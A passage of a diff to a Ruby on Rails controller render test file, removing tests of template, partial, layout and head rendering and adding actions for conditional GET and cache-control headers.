-    render path, :locals => {:secret => 'in the sauce'}
-  end
-
-  def accessing_request_in_template
-    render :inline =>  "Hello: <%= request.host %>"
-  end
-
-  def accessing_logger_in_template
-    render :inline =>  "<%= logger.class %>"
-  end
-
-  def accessing_action_name_in_template
-    render :inline =>  "<%= action_name %>"
-  end
-
-  def accessing_controller_name_in_template
-    render :inline =>  "<%= controller_name %>"
-  end
-
-  # :ported:
-  def render_custom_code
-    render :text => "hello world", :status => 404
-  end
-
-  # :ported:
-  def render_text_with_nil
-    render :text => nil
-  end
-
-  # :ported:
-  def render_text_with_false
-    render :text => false
-  end
-
-  def render_text_with_resource
-    render :text => Customer.new("David")
-  end
-
-  # :ported:
-  def render_nothing_with_appendix
-    render :text => "appended"
-  end
-
-  # This test is testing 3 things:
-  #   render :file in AV      :ported:
-  #   render :template in AC  :ported:
-  #   setting content type
-  def render_xml_hello
-    @name = "David"
-    render :template => "test/hello"
-  end
-
-  def render_xml_hello_as_string_template
-    @name = "David"
-    render "test/hello"
-  end
-
-  def render_line_offset
-    render :inline => '<% raise %>', :locals => {:foo => 'bar'}
-  end
-
-  def heading
-    head :ok
-  end
-
-  def greeting
-    # let's just rely on the template
-  end
-
-  # :ported:
-  def blank_response
-    render :text => ' '
-  end
-
-  # :ported:
-  def layout_test
-    render :action => "hello_world"
-  end
-
-  # :ported:
-  def builder_layout_test
-    @name = nil
-    render :action => "hello", :layout => "layouts/builder"
-  end
-
-  # :move: test this in Action View
-  def builder_partial_test
-    render :action => "hello_world_container"
-  end
-
-  # :ported:
-  def partials_list
-    @test_unchanged = 'hello'
-    @customers = [ Customer.new("david"), Customer.new("mary") ]
-    render :action => "list"
-  end
-
-  def partial_only
-    render :partial => true
-  end
-
-  def hello_in_a_string
-    @customers = [ Customer.new("david"), Customer.new("mary") ]
-    render :text => "How's there? " + render_to_string(:template => "test/list")
-  end
-
-  def accessing_params_in_template
-    render :inline => "Hello: <%= params[:name] %>"
-  end
-
-  def accessing_local_assigns_in_inline_template
-    name = params[:local_name]
-    render :inline => "<%= 'Goodbye, ' + local_name %>",
-           :locals => { :local_name => name }
-  end
-
-  def render_implicit_html_template_from_xhr_request
-  end
-
-  def render_implicit_js_template_without_layout
-  end
-
-  def formatted_html_erb
-  end
-
-  def formatted_xml_erb
-  end
-
-  def render_to_string_test
-    @foo = render_to_string :inline => "this is a test"
-  end
-
-  def default_render
-    @alternate_default_render ||= nil
-    if @alternate_default_render
-      @alternate_default_render.call
-    else
-      super
-    end
-  end
-
-  def render_action_hello_world_as_symbol
-    render :action => :hello_world
-  end
-
-  def layout_test_with_different_layout
-    render :action => "hello_world", :layout => "standard"
-  end
-
-  def layout_test_with_different_layout_and_string_action
-    render "hello_world", :layout => "standard"
-  end
-
-  def layout_test_with_different_layout_and_symbol_action
-    render :hello_world, :layout => "standard"
-  end
-
-  def rendering_without_layout
-    render :action => "hello_world", :layout => false
-  end
-
-  def layout_overriding_layout
-    render :action => "hello_world", :layout => "standard"
-  end
-
-  def rendering_nothing_on_layout
-    render :nothing => true
-  end
-
-  def render_to_string_with_assigns
-    @before = "i'm before the render"
-    render_to_string :text => "foo"
-    @after = "i'm after the render"
-    render :template => "test/hello_world"
-  end
-
-  def render_to_string_with_exception
-    render_to_string :file => "exception that will not be caught - this will certainly not work"
-  end
-
-  def render_to_string_with_caught_exception
-    @before = "i'm before the render"
-    begin
-      render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
-    rescue
-    end
-    @after = "i'm after the render"
-    render :template => "test/hello_world"
-  end
-
-  def accessing_params_in_template_with_layout
-    render :layout => true, :inline =>  "Hello: <%= params[:name] %>"
-  end
-
-  # :ported:
-  def render_with_explicit_template
-    render :template => "test/hello_world"
-  end
-
-  def render_with_explicit_unescaped_template
-    render :template => "test/h*llo_world"
-  end
-
-  def render_with_explicit_escaped_template
-    render :template => "test/hello,world"
-  end
-
-  def render_with_explicit_string_template
-    render "test/hello_world"
-  end
-
-  # :ported:
-  def render_with_explicit_template_with_locals
-    render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
-  end
-
-  # :ported:
-  def double_render
-    render :text => "hello"
-    render :text => "world"
-  end
-
-  def double_redirect
-    redirect_to :action => "double_render"
-    redirect_to :action => "double_render"
-  end
-
-  def render_and_redirect
-    render :text => "hello"
-    redirect_to :action => "double_render"
-  end
-
-  def render_to_string_and_render
-    @stuff = render_to_string :text => "here is some cached stuff"
-    render :text => "Hi web users! #{@stuff}"
-  end
-
-  def render_to_string_with_inline_and_render
-    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
-    render :template => "test/hello_world"
-  end
-
-  def rendering_with_conflicting_local_vars
-    @name = "David"
-    render :action => "potential_conflicts"
-  end
-
-  def hello_world_from_rxml_using_action
-    render :action => "hello_world_from_rxml", :handlers => [:builder]
-  end
-
-  # :deprecated:
-  def hello_world_from_rxml_using_template
-    render :template => "test/hello_world_from_rxml", :handlers => [:builder]
-  end
-
-  def action_talk_to_layout
-    # Action template sets variable that's picked up by layout
-  end
-
-  # :addressed:
-  def render_text_with_assigns
-    @hello = "world"
-    render :text => "foo"
-  end
-
-  def yield_content_for
-    render :action => "content_for", :layout => "yield"
-  end
-
-  def render_content_type_from_body
-    response.content_type = Mime::RSS
-    render :text => "hello world!"
-  end
-
-  def head_created
-    head :created
-  end
-
-  def head_created_with_application_json_content_type
-    head :created, :content_type => "application/json"
-  end
-
-  def head_ok_with_image_png_content_type
-    head :ok, :content_type => "image/png"
-  end
-
-  def head_with_location_header
-    head :location => "/foo"
-  end
-
-  def head_with_location_object
-    head :location => Customer.new("david", 1)
-  end
-
-  def head_with_symbolic_status
-    head :status => params[:status].intern
-  end
-
-  def head_with_integer_status
-    head :status => params[:status].to_i
-  end
-
-  def head_with_string_status
-    head :status => params[:status]
-  end
-
-  def head_with_custom_header
-    head :x_custom_header => "something"
-  end
-
-  def head_with_www_authenticate_header
-    head 'WWW-Authenticate' => 'something'
-  end
-
-  def head_with_status_code_first
-    head :forbidden, :x_custom_header => "something"
-  end
-
-  def render_using_layout_around_block
-    render :action => "using_layout_around_block"
-  end
-
-  def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
-  end
-
-  def partial_formats_html
-    render :partial => 'partial', :formats => [:html]
-  end
-
-  def partial
-    render :partial => 'partial'
-  end
-
-  def partial_html_erb
-    render :partial => 'partial_html_erb'
-  end
-
-  def render_to_string_with_partial
-    @partial_only = render_to_string :partial => "partial_only"
-    @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
-    render :template => "test/hello_world"
-  end
-
-  def render_to_string_with_template_and_html_partial
-    @text = render_to_string :template => "test/with_partial", :formats => [:text]
-    @html = render_to_string :template => "test/with_partial", :formats => [:html]
-    render :template => "test/with_html_partial"
-  end
-
-  def render_to_string_and_render_with_different_formats
-    @html = render_to_string :template => "test/with_partial", :formats => [:html]
-    render :template => "test/with_partial", :formats => [:text]
-  end
-
-  def render_template_within_a_template_with_other_format
-    render  :template => "test/with_xml_template",
-            :formats  => [:html],
-            :layout   => "with_html_partial"
-  end
-
-  def partial_with_counter
-    render :partial => "counter", :locals => { :counter_counter => 5 }
-  end
-
-  def partial_with_locals
-    render :partial => "customer", :locals => { :customer => Customer.new("david") }
-  end
-
-  def partial_with_form_builder
-    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
-  end
-
-  def partial_with_form_builder_subclass
-    render :partial => LabellingFormBuilder.new(:post, nil, view_context, {})
-  end
-
-  def partial_collection
-    render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_with_as
-    render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
-  end
-
-  def partial_collection_with_counter
-    render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_with_as_and_counter
-    render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
-  end
-
-  def partial_collection_with_locals
-    render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
-  end
-
-  def partial_collection_with_spacer
-    render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_with_spacer_which_uses_render
-    render :partial => "customer", :spacer_template => "partial_with_partial", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_shorthand_with_locals
-    render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
-  end
-
-  def partial_collection_shorthand_with_different_types_of_records
-    render :partial => [
-        BadCustomer.new("mark"),
-        GoodCustomer.new("craig"),
-        BadCustomer.new("john"),
-        GoodCustomer.new("zach"),
-        GoodCustomer.new("brandon"),
-        BadCustomer.new("dan") ],
-      :locals => { :greeting => "Bonjour" }
-  end
-
-  def empty_partial_collection
-    render :partial => "customer", :collection => []
-  end
-
-  def partial_collection_shorthand_with_different_types_of_records_with_counter
-    partial_collection_shorthand_with_different_types_of_records
-  end
-
-  def missing_partial
-    render :partial => 'thisFileIsntHere'
-  end
-
-  def partial_with_hash_object
-    render :partial => "hash_object", :object => {:first_name => "Sam"}
-  end
-
-  def partial_with_nested_object
-    render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
-  end
-
-  def partial_with_nested_object_shorthand
-    render Quiz::Question.new("first")
-  end
-
-  def partial_hash_collection
-    render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
-  end
-
-  def partial_hash_collection_with_locals
-    render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
-  end
-
-  def partial_with_implicit_local_assignment
-    @customer = Customer.new("Marcel")
-    render :partial => "customer"
-  end
-
-  def render_call_to_partial_with_layout
-    render :action => "calling_partial_with_layout"
-  end
-
-  def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
-  end
-
-  before_action only: :render_with_filters do
-    request.format = :xml
-  end
-
-  # Ensure that the before filter is executed *before* self.formats is set.
-  def render_with_filters
-    render :action => :formatted_xml_erb
-  end
-
-  private
-
-    def set_variable_for_layout
-      @variable_for_layout = nil
-    end
-
-    def determine_layout
-      case action_name
-        when "hello_world", "layout_test", "rendering_without_layout",
-             "rendering_nothing_on_layout", "render_text_hello_world",
-             "render_text_hello_world_with_layout",
-             "hello_world_with_layout_false",
-             "partial_only", "accessing_params_in_template",
-             "accessing_params_in_template_with_layout",
-             "render_with_explicit_template",
-             "render_with_explicit_string_template",
-             "update_page", "update_page_with_instance_variables"
-
-          "layouts/standard"
-        when "action_talk_to_layout", "layout_overriding_layout"
-          "layouts/talk_from_action"
-        when "render_implicit_html_template_from_xhr_request"
-          (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
-      end
-    end
-end
-
-class MetalTestController < ActionController::Metal
-  include ActionController::Rendering
-
-  def accessing_logger_in_template
-    render :inline =>  "<%= logger.class %>"
-  end
-end
-
-class RenderTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    super
-    @controller.logger      = ActiveSupport::Logger.new(nil)
-    ActionView::Base.logger = ActiveSupport::Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  # :ported:
-  def test_simple_show
-    get :hello_world
-    assert_response 200
-    assert_response :success
-    assert_template "test/hello_world"
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  # :ported:
-  def test_renders_default_template_for_missing_action
-    get :'hyphen-ated'
-    assert_template 'test/hyphen-ated'
-  end
-
-  # :ported:
-  def test_render
-    get :render_hello_world
-    assert_template "test/hello_world"
-  end
-
-  def test_line_offset
-    get :render_line_offset
-    flunk "the action should have raised an exception"
-  rescue StandardError => exc
-    line = exc.backtrace.first
-    assert(line =~ %r{:(\d+):})
-    assert_equal "1", $1,
-      "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
-  end
-
-  # :ported: compatibility
-  def test_render_with_forward_slash
-    get :render_hello_world_with_forward_slash
-    assert_template "test/hello_world"
-  end
-
-  # :ported:
-  def test_render_in_top_directory
-    get :render_template_in_top_directory
-    assert_template "shared"
-    assert_equal "Elastica", @response.body
-  end
-
-  # :ported:
-  def test_render_in_top_directory_with_slash
-    get :render_template_in_top_directory_with_slash
-    assert_template "shared"
-    assert_equal "Elastica", @response.body
-  end
-
-  # :ported:
-  def test_render_from_variable
-    get :render_hello_world_from_variable
-    assert_equal "hello david", @response.body
-  end
-
-  # :ported:
-  def test_render_action
-    get :render_action_hello_world
-    assert_template "test/hello_world"
-  end
-
-  def test_render_action_upcased
-    assert_raise ActionView::MissingTemplate do
-      get :render_action_upcased_hello_world
-    end
-  end
-
-  # :ported:
-  def test_render_action_hello_world_as_string
-    get :render_action_hello_world_as_string
-    assert_equal "Hello world!", @response.body
-    assert_template "test/hello_world"
-  end
-
-  # :ported:
-  def test_render_action_with_symbol
-    get :render_action_hello_world_with_symbol
-    assert_template "test/hello_world"
-  end
-
-  # :ported:
-  def test_render_text
-    get :render_text_hello_world
-    assert_equal "hello world", @response.body
-  end
-
-  # :ported:
-  def test_do_with_render_text_and_layout
-    get :render_text_hello_world_with_layout
-    assert_equal "<html>hello world, I am here!</html>", @response.body
-  end
-
-  # :ported:
-  def test_do_with_render_action_and_layout_false
-    get :hello_world_with_layout_false
-    assert_equal 'Hello world!', @response.body
-  end
-
-  # :ported:
-  def test_render_file_with_instance_variables
-    get :render_file_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file
-    get :hello_world_file
-    assert_equal "Hello world!", @response.body
-  end
-
-  # :ported:
-  def test_render_file_as_string_with_instance_variables
-    get :render_file_as_string_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_not_using_full_path
-    get :render_file_not_using_full_path
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_not_using_full_path_with_dot_in_path
-    get :render_file_not_using_full_path_with_dot_in_path
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_using_pathname
-    get :render_file_using_pathname
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_with_locals
-    get :render_file_with_locals
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_file_as_string_with_locals
-    get :render_file_as_string_with_locals
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :assessed:
-  def test_render_file_from_template
-    get :render_file_from_template
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
-  def test_render_custom_code
-    get :render_custom_code
-    assert_response 404
-    assert_response :missing
-    assert_equal 'hello world', @response.body
-  end
-
-  # :ported:
-  def test_render_text_with_nil
-    get :render_text_with_nil
-    assert_response 200
-    assert_equal ' ', @response.body
-  end
-
-  # :ported:
-  def test_render_text_with_false
-    get :render_text_with_false
-    assert_equal 'false', @response.body
-  end
-
-  # :ported:
-  def test_render_nothing_with_appendix
-    get :render_nothing_with_appendix
-    assert_response 200
-    assert_equal 'appended', @response.body
-  end
-
-  def test_render_text_with_resource
-    get :render_text_with_resource
-    assert_equal 'name: "David"', @response.body
-  end
-
-  # :ported:
-  def test_attempt_to_access_object_method
-    assert_raise(AbstractController::ActionNotFound, "No action responded to [clone]") { get :clone }
-  end
-
-  # :ported:
-  def test_private_methods
-    assert_raise(AbstractController::ActionNotFound, "No action responded to [determine_layout]") { get :determine_layout }
-  end
-
-  # :ported:
-  def test_access_to_request_in_view
-    get :accessing_request_in_template
-    assert_equal "Hello: www.nextangle.com", @response.body
-  end
-
-  def test_access_to_logger_in_view
-    get :accessing_logger_in_template
-    assert_equal "ActiveSupport::Logger", @response.body
-  end
-
-  # :ported:
-  def test_access_to_action_name_in_view
-    get :accessing_action_name_in_template
-    assert_equal "accessing_action_name_in_template", @response.body
-  end
-
-  # :ported:
-  def test_access_to_controller_name_in_view
-    get :accessing_controller_name_in_template
-    assert_equal "test", @response.body # name is explicitly set in the controller.
-  end
-
-  # :ported:
-  def test_render_xml
-    get :render_xml_hello
-    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
-  end
-
-  # :ported:
-  def test_render_xml_as_string_template
-    get :render_xml_hello_as_string_template
-    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
-  end
-
-  # :ported:
-  def test_render_xml_with_default
-    get :greeting
-    assert_equal "<p>This is grand!</p>\n", @response.body
-  end
-
-  # :move: test in AV
-  def test_render_xml_with_partial
-    get :builder_partial_test
-    assert_equal "<test>\n  <hello/>\n</test>\n", @response.body
-  end
-
-  # :ported:
-  def test_layout_rendering
-    get :layout_test
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_render_xml_with_layouts
-    get :builder_layout_test
-    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
-  end
-
-  def test_partials_list
-    get :partials_list
-    assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
-  end
-
-  def test_render_to_string
-    get :hello_in_a_string
-    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
-  end
-
-  def test_render_to_string_resets_assigns
-    get :render_to_string_test
-    assert_equal "The value of foo is: ::this is a test::\n", @response.body
-  end
-
-  def test_render_to_string_inline
-    get :render_to_string_with_inline_and_render
-    assert_template "test/hello_world"
-  end
-
-  # :ported:
-  def test_nested_rendering
-    @controller = Fun::GamesController.new
-    get :hello_world
-    assert_equal "Living in a nested world", @response.body
-  end
-
-  def test_accessing_params_in_template
-    get :accessing_params_in_template, :name => "David"
-    assert_equal "Hello: David", @response.body
-  end
-
-  def test_accessing_local_assigns_in_inline_template
-    get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
-    assert_equal "Goodbye, Local David", @response.body
-    assert_equal "text/html", @response.content_type
-  end
-
-  def test_should_implicitly_render_html_template_from_xhr_request
-    xhr :get, :render_implicit_html_template_from_xhr_request
-    assert_equal "XHR!\nHello HTML!", @response.body
-  end
-
-  def test_should_implicitly_render_js_template_without_layout
-    get :render_implicit_js_template_without_layout, :format => :js
-    assert_no_match %r{<html>}, @response.body
-  end
-
-  def test_should_render_formatted_template
-    get :formatted_html_erb
-    assert_equal 'formatted html erb', @response.body
-  end
-
-  def test_should_render_formatted_html_erb_template
-    get :formatted_xml_erb
-    assert_equal '<test>passed formatted html erb</test>', @response.body
-  end
-
-  def test_should_render_formatted_html_erb_template_with_bad_accepts_header
-    @request.env["HTTP_ACCEPT"] = "; a=dsf"
-    get :formatted_xml_erb
-    assert_equal '<test>passed formatted html erb</test>', @response.body
-  end
-
-  def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
-    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
-    get :formatted_xml_erb
-    assert_equal '<test>passed formatted html erb</test>', @response.body
-  end
-
-  def test_layout_test_with_different_layout
-    get :layout_test_with_different_layout
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_layout_test_with_different_layout_and_string_action
-    get :layout_test_with_different_layout_and_string_action
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_layout_test_with_different_layout_and_symbol_action
-    get :layout_test_with_different_layout_and_symbol_action
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_rendering_without_layout
-    get :rendering_without_layout
-    assert_equal "Hello world!", @response.body
-  end
-
-  def test_layout_overriding_layout
-    get :layout_overriding_layout
-    assert_no_match %r{<title>}, @response.body
-  end
-
-  def test_rendering_nothing_on_layout
-    get :rendering_nothing_on_layout
-    assert_equal " ", @response.body
-  end
-
-  def test_render_to_string_doesnt_break_assigns
-    get :render_to_string_with_assigns
-    assert_equal "i'm before the render", assigns(:before)
-    assert_equal "i'm after the render", assigns(:after)
-  end
-
-  def test_bad_render_to_string_still_throws_exception
-    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
-  end
-
-  def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
-    assert_nothing_raised { get :render_to_string_with_caught_exception }
-    assert_equal "i'm before the render", assigns(:before)
-    assert_equal "i'm after the render", assigns(:after)
-  end
-
-  def test_accessing_params_in_template_with_layout
-    get :accessing_params_in_template_with_layout, :name => "David"
-    assert_equal "<html>Hello: David</html>", @response.body
-  end
-
-  def test_render_with_explicit_template
-    get :render_with_explicit_template
-    assert_response :success
-  end
-
-  def test_render_with_explicit_unescaped_template
-    assert_raise(ActionView::MissingTemplate) { get :render_with_explicit_unescaped_template }
-    get :render_with_explicit_escaped_template
-    assert_equal "Hello w*rld!", @response.body
-  end
-
-  def test_render_with_explicit_string_template
-    get :render_with_explicit_string_template
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_render_with_filters
-    get :render_with_filters
-    assert_equal "<test>passed formatted xml erb</test>", @response.body
-  end
-
-  # :ported:
-  def test_double_render
-    assert_raise(AbstractController::DoubleRenderError) { get :double_render }
-  end
-
-  def test_double_redirect
-    assert_raise(AbstractController::DoubleRenderError) { get :double_redirect }
-  end
-
-  def test_render_and_redirect
-    assert_raise(AbstractController::DoubleRenderError) { get :render_and_redirect }
-  end
-
-  # specify the one exception to double render rule - render_to_string followed by render
-  def test_render_to_string_and_render
-    get :render_to_string_and_render
-    assert_equal("Hi web users! here is some cached stuff", @response.body)
-  end
-
-  def test_rendering_with_conflicting_local_vars
-    get :rendering_with_conflicting_local_vars
-    assert_equal("First: David\nSecond: Stephan\nThird: David\nFourth: David\nFifth: ", @response.body)
-  end
-
-  def test_action_talk_to_layout
-    get :action_talk_to_layout
-    assert_equal "<title>Talking to the layout</title>\nAction was here!", @response.body
-  end
-
-  # :addressed:
-  def test_render_text_with_assigns
-    get :render_text_with_assigns
-    assert_equal "world", assigns["hello"]
-  end
-
-  # :ported:
-  def test_template_with_locals
-    get :render_with_explicit_template_with_locals
-    assert_equal "The secret is area51\n", @response.body
-  end
-
-  def test_yield_content_for
-    get :yield_content_for
-    assert_equal "<title>Putting stuff in the title!</title>\nGreat stuff!\n", @response.body
-  end
-
-  def test_overwritting_rendering_relative_file_with_extension
-    get :hello_world_from_rxml_using_template
-    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
-
-    get :hello_world_from_rxml_using_action
-    assert_equal "<html>\n  <p>Hello</p>\n</html>\n", @response.body
-  end
-
-  def test_head_created
-    post :head_created
-    assert @response.body.blank?
-    assert_response :created
-  end
-
-  def test_head_created_with_application_json_content_type
-    post :head_created_with_application_json_content_type
-    assert @response.body.blank?
-    assert_equal "application/json", @response.header["Content-Type"]
-    assert_response :created
-  end
-
-  def test_head_ok_with_image_png_content_type
-    post :head_ok_with_image_png_content_type
-    assert @response.body.blank?
-    assert_equal "image/png", @response.header["Content-Type"]
-    assert_response :ok
-  end
-
-  def test_head_with_location_header
-    get :head_with_location_header
-    assert @response.body.blank?
-    assert_equal "/foo", @response.headers["Location"]
-    assert_response :ok
-  end
-
-  def test_head_with_location_object
-    with_routing do |set|
-      set.draw do
-        resources :customers
-        get ':controller/:action'
-      end
-
-      get :head_with_location_object
-      assert @response.body.blank?
-      assert_equal "http://www.nextangle.com/customers/1", @response.headers["Location"]
-      assert_response :ok
-    end
-  end
-
-  def test_head_with_custom_header
-    get :head_with_custom_header
-    assert @response.body.blank?
-    assert_equal "something", @response.headers["X-Custom-Header"]
-    assert_response :ok
-  end
-
-  def test_head_with_www_authenticate_header
-    get :head_with_www_authenticate_header
-    assert @response.body.blank?
-    assert_equal "something", @response.headers["WWW-Authenticate"]
-    assert_response :ok
-  end
-
-  def test_head_with_symbolic_status
-    get :head_with_symbolic_status, :status => "ok"
-    assert_equal 200, @response.status
-    assert_response :ok
-
-    get :head_with_symbolic_status, :status => "not_found"
-    assert_equal 404, @response.status
-    assert_response :not_found
-
-    get :head_with_symbolic_status, :status => "no_content"
-    assert_equal 204, @response.status
-    assert !@response.headers.include?('Content-Length')
-    assert_response :no_content
-
-    Rack::Utils::SYMBOL_TO_STATUS_CODE.each do |status, code|
-      get :head_with_symbolic_status, :status => status.to_s
-      assert_equal code, @response.response_code
-      assert_response status
+    if stale?(record)
+      render :action => 'hello_world'
     end
   end
 
-  def test_head_with_integer_status
-    Rack::Utils::HTTP_STATUS_CODES.each do |code, message|
-      get :head_with_integer_status, :status => code.to_s
-      assert_equal message, @response.message
+  def conditional_hello_with_public_header
+    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+      render :action => 'hello_world'
     end
   end
 
-  def test_head_with_string_status
-    get :head_with_string_status, :status => "404 Eat Dirt"
-    assert_equal 404, @response.response_code
-    assert_equal "Not Found", @response.message
-    assert_response :not_found
-  end
+  def conditional_hello_with_public_header_with_record
+    record = Struct.new(:updated_at, :cache_key).new(Time.now.utc.beginning_of_day, "foo/123")
 
-  def test_head_with_status_code_first
-    get :head_with_status_code_first
-    assert_equal 403, @response.response_code
-    assert_equal "Forbidden", @response.message
-    assert_equal "something", @response.headers["X-Custom-Header"]
-    assert_response :forbidden
+    if stale?(record, :public => true)
+      render :action => 'hello_world'
+    end
   end
 
-  def test_using_layout_around_block
-    get :render_using_layout_around_block
-    assert_equal "Before (David)\nInside from block\nAfter", @response.body
+  def conditional_hello_with_public_header_and_expires_at
+    expires_in 1.minute
+    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
+      render :action => 'hello_world'
+    end
   end
 
-  def test_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    get :render_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    assert_equal "Before (Anthony)\nInside from first block in layout\nAfter\nBefore (David)\nInside from block\nAfter\nBefore (Ramm)\nInside from second block in layout\nAfter\n", @response.body
+  def conditional_hello_with_expires_in
+    expires_in 60.1.seconds
+    render :action => 'hello_world'
   end
 
-  def test_partial_only
-    get :partial_only
-    assert_equal "only partial", @response.body
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_in_with_public
+    expires_in 1.minute, :public => true
+    render :action => 'hello_world'
   end
 
-  def test_should_render_html_formatted_partial
-    get :partial
-    assert_equal "partial html", @response.body
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_in_with_must_revalidate
+    expires_in 1.minute, :must_revalidate => true
+    render :action => 'hello_world'
   end
 
-  def test_render_html_formatted_partial_even_with_other_mime_time_in_accept
-    @request.accept = "text/javascript, text/html"
-
-    get :partial_html_erb
-
-    assert_equal "partial.html.erb", @response.body.strip
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_in_with_public_and_must_revalidate
+    expires_in 1.minute, :public => true, :must_revalidate => true
+    render :action => 'hello_world'
   end
 
-  def test_should_render_html_partial_with_formats
-    get :partial_formats_html
-    assert_equal "partial html", @response.body
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_in_with_public_with_more_keys
+    expires_in 1.minute, :public => true, 's-maxage' => 5.hours
+    render :action => 'hello_world'
   end
 
-  def test_render_to_string_partial
-    get :render_to_string_with_partial
-    assert_equal "only partial", assigns(:partial_only)
-    assert_equal "Hello: david", assigns(:partial_with_locals)
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
+    expires_in 1.minute, :public => true, :private => nil, 's-maxage' => 5.hours
+    render :action => 'hello_world'
   end
 
-  def test_render_to_string_with_template_and_html_partial
-    get :render_to_string_with_template_and_html_partial
-    assert_equal "**only partial**\n", assigns(:text)
-    assert_equal "<strong>only partial</strong>\n", assigns(:html)
-    assert_equal "<strong>only html partial</strong>\n", @response.body
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_expires_now
+    expires_now
+    render :action => 'hello_world'
   end
 
-  def test_render_to_string_and_render_with_different_formats
-    get :render_to_string_and_render_with_different_formats
-    assert_equal "<strong>only partial</strong>\n", assigns(:html)
-    assert_equal "**only partial**\n", @response.body
-    assert_equal "text/plain", @response.content_type
+  def conditional_hello_with_cache_control_headers
+    response.headers['Cache-Control'] = 'no-transform'
+    expires_now
+    render :action => 'hello_world'
   end
 
-  def test_render_template_within_a_template_with_other_format
-    get :render_template_within_a_template_with_other_format
-    expected = "only html partial<p>This is grand!</p>"
-    assert_equal expected, @response.body.strip
-    assert_equal "text/html", @response.content_type
+  def conditional_hello_with_bangs
+    render :action => 'hello_world'
   end
+  before_action :handle_last_modified_and_etags, :only=>:conditional_hello_with_bangs
 
-  def test_partial_with_counter
-    get :partial_with_counter
-    assert_equal "5", @response.body
+  def handle_last_modified_and_etags
+    fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
   end
 
-  def test_partial_with_locals
-    get :partial_with_locals
-    assert_equal "Hello: david", @response.body
+  def heading
+    head :ok
   end
 
-  def test_partial_with_form_builder
-    get :partial_with_form_builder
-    assert_match(/<label/, @response.body)
-    assert_template('test/_form')
+  # :ported:
+  def double_render
+    render :text => "hello"
+    render :text => "world"
   end
 
-  def test_partial_with_form_builder_subclass
-    get :partial_with_form_builder_subclass
-    assert_match(/<label/, @response.body)
-    assert_template('test/_labelling_form')
